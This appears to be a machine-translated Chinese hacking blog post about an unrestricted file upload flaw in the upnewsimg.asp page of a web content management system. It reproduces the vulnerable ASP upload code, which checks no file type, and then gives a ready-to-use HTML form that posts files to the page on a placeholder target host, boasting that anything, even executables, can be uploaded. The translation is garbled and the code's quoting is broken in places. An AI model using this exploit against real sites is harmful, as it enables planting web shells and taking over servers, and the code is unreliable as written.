(the author left a back door for us?)
Xiao Yu listen to the website Content Management system:
At present, the most powerful whole station system: including general Web site must be modules such as news articles, downloads, film and television, pictures, music and other modules of each other independent and close contact, unlimited classification, free call, Support Template, the foreground all generate HTML, maximize the system resources, large and medium-sized portal site best choice
Content page is generated HTML, more secure, the background of the place looked, as if the problem is not big.
But go to the upload directory and find two files
Uploadset.asp upnewsimg.asp
Where uploadset.asp is validated, and upnewsimg.asp has no restrictions, let's take a look at the source code:
CODE:
<link rel= "stylesheet" type= text/css "href=". /admin/admin.css ">
<script language= "JavaScript" >
<!--Hide from older browsers ...
Function to add pic
function Addpic (ImagePath) {
Window.opener.frames.message.focus ();
Window.opener.frames.message.document.execCommand (Insertimage, False, ImagePath);
}
-->
</script>
<% server.scripttimeout=1900%>
<%
Upfilepath= "newsimg/"
fileweb= "upload/"
NameSet =1
Pathset =0
Dim i
I=1
%>
<%
function Makefilename (fname)
FName = Now ()
fname = replace (fname, "-", "")
fname = replace (fname, "", "")
fname = replace (fname, ":", "")
Makefilename=fname
End Function
%>
<!--#include file= "Upload_5xsoft.inc"-->
<%
Dim Upload,file,formname,icount
Dim url,url1
Set upload=new Upload_5xsoft Build upload Object
Icount=0
For every formName in upload.file list all uploaded files
Set File=upload.file (formName) generates a file object
If file. Filesize>0 then If FileSize > 0 indicates file data
FName = Makefilename (now ()) & Icount & "." & Getextendname (file. FileName)
File. SaveAs Server.MapPath (upfilepath&fname) Save file
Icount=icount+1
Response.Write "Picture" &i& "<input type=" "Text" "Name=" "&i&" "size=" "," "style=" "Border-style: Solid Border-width:1 "" Value= "". /"&fileweb&UpFilePath&fname&" "><br>[<a href=# onclick=" "Addpic (... /"&fileweb&UpFilePath&fname&") "> click here to add the picture" &i& "to the editor </a>]<br>"
I=i+1
Set file=nothing
End If
Next
Set Upload=nothing Delete this object
function Getextendname (FileName)
Dim extname
Extname = LCase (FileName)
Extname = Right (extname,3)
Extname = Right (Extname,3-instr (Extname, "."))
Getextendname = Extname
End Function
%>
[Copy to Clipboard]
Haha, can buy their own to build an upload page, upload directly, even EXE file can, don't say ASP or anything.
and upload the end of the address, is simply the author left us a backdoor.
Use files:
CODE:
<title> File Upload </title>
<meta http-equiv= "Content-type" content= "text/html; charset=gb2312 ">
<body bgcolor= "#D6EF7E" text= "#000000" >
<form name= "Form1" method= "Post" action= "http://www.target.com/upload/upnewsimg.asp" enctype= "multipart/" Form-data ">
<input type= "hidden" name= "act" value= "upload" >
<div align= "center" >
<center>
<table width= "98%" border= "0" cellspacing= "0" cellpadding= "5" bordercolordark= "#CCCCCC" bordercolorlight= "#000000 "Style=" Border-collapse:collapse "bordercolor=" #111111 "height=" 102 ">
<tr>
<th height= "align=" "left" valign= "Middle" >
<div align= "center" >
<b> Picture Upload </b>
</div>
</th>
</tr>
<tr align= "left" valign= "Middle" bgcolor= "#eeeeee" >
<TD bgcolor= "#FFFFFF" height= "1" valign= "Top" >
<input type= "File" Name= "File1" style= "width:200" class= "TX1" >
</td>
</tr>
<TR align= "center" valign= "Middle" >
<TD align= "left" id= "Upid" height= "5" bgcolor= "#FFFFFF" >
</td>
</tr>
<TR align= "center" valign= "Middle" bgcolor= "#eeeeee" >
<TD bgcolor= "#FFFFFF" height= ">"
<input type= "Submit" name= "submit" value= "· Submit • "class=" BT ">
<input type= "reset" name= "Submit2" value= "· Re-"class=" "BT" ></td>
</tr>
<TR align= "center" valign= "Middle" bgcolor= "#eeeeee" >
<TD height= "bgcolor=" "#FFFFFF" > </td>
</tr>
</table>
</center>
</div>
</form>
</body>
[Copy to Clipboard]
A good shot, haha, fun.
My blog http://hhuai.cn
Article: Bad Bad
Source: Evil Octal Information Security team
